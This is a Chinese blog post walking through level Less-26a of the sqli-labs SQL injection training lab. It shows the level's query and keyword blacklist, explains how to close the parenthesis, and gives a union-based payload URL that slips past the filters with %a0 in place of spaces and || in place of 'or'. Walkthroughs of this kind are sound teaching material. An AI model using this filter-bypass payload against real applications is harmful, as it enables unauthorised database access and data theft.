博客
关于我
sqli-labs ————less -26a
阅读量:172 次
发布时间:2019-02-28

本文共 905 字,大约阅读时间需要 3 分钟。

Less-26a

查看一下源代码:

查询语句:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
过滤机制:
function blacklist($id){	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*	$id= preg_replace('/[--]/',"", $id);		//Strip out --	$id= preg_replace('/[#]/',"", $id);			//Strip out #	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes	return $id;}

这一关与26关的区别在于,这一关中的SQL语句在构建的时候添加了一个括号,同时在SQL语句执行抛出错误后并不在前台页面输出。所以这里报错注入直接排除,不可以使用,但是我们可以使用联合查询。

这里我们可以使用')来闭合前面的(',之后在后面加入自己构造的SQL注入语句,同时在最后仍然需要闭合后面的')才可以,在这个过程中我们仍然需要绕过过滤机制,至于绕过的方法在上一节中已经有所说明了,这里不再重复了,下面给出一个简易payload:

http://192.168.11.136/sqli-labs/Less-26a?id=1')union%a0select%a01,user(),3||('1

你可能感兴趣的文章
MySQL 8.0开始Group by不再排序
查看>>
mysql ansi nulls_SET ANSI_NULLS ON SET QUOTED_IDENTIFIER ON 什么意思
查看>>
multi swiper bug solution
查看>>
MySQL Binlog 日志监听与 Spring 集成实战
查看>>
MySQL binlog三种模式
查看>>
multi-angle cosine and sines
查看>>
Mysql Can't connect to MySQL server
查看>>
mysql case when 乱码_Mysql CASE WHEN 用法
查看>>
Multicast1
查看>>
mysql client library_MySQL数据库之zabbix3.x安装出现“configure: error: Not found mysqlclient library”的解决办法...
查看>>
MySQL Cluster 7.0.36 发布
查看>>
Multimodal Unsupervised Image-to-Image Translation多通道无监督图像翻译
查看>>
MySQL Cluster与MGR集群实战
查看>>
multipart/form-data与application/octet-stream的区别、application/x-www-form-urlencoded
查看>>
mysql cmake 报错,MySQL云服务器应用及cmake报错解决办法
查看>>
Multiple websites on single instance of IIS
查看>>
mysql CONCAT()函数拼接有NULL
查看>>
multiprocessing.Manager 嵌套共享对象不适用于队列
查看>>
multiprocessing.pool.map 和带有两个参数的函数
查看>>
MYSQL CONCAT函数
查看>>